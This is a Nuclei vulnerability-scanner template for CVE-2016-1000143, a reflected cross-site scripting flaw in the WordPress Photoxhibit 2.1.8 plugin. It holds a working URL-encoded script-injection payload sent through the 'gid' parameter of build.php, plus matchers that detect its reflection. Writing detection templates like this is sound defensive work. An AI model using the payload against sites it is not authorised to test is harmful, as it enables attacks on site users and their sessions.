nuclei-templates/http/cves/2016/CVE-2016-1000143.yaml

49 lines
1.8 KiB
YAML

id: CVE-2016-1000143
info:
name: WordPress Photoxhibit 2.1.8 - Cross-Site Scripting
author: daffainfo
severity: medium
description: WordPress Photoxhibit 2.1.8 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
remediation: |
Update to the latest version of WordPress Photoxhibit or apply the official patch provided by the vendor.
reference:
- http://www.vapidlabs.com/wp/wp_advisory.php?v=780
- https://wordpress.org/plugins/photoxhibit
- https://nvd.nist.gov/vuln/detail/CVE-2016-1000143
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2016-1000143
cwe-id: CWE-79
epss-score: 0.00142
epss-percentile: 0.49683
cpe: cpe:2.3:a:photoxhibit_project:photoxhibit:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: photoxhibit_project
product: photoxhibit
framework: wordpress
tags: cve,cve2016,wordpress,wp-plugin,xss
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/photoxhibit/common/inc/pages/build.php?gid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100cc01657a1c0898d76302c2a423b8577659cac1bff09822c512b8667a9a0f3fa8022100ecfd30c8f3787c0efa08ad875dc3814374f5b80a2efa3e458e9a241f5be6903e:922c64590222798bb761d5b6d8e72950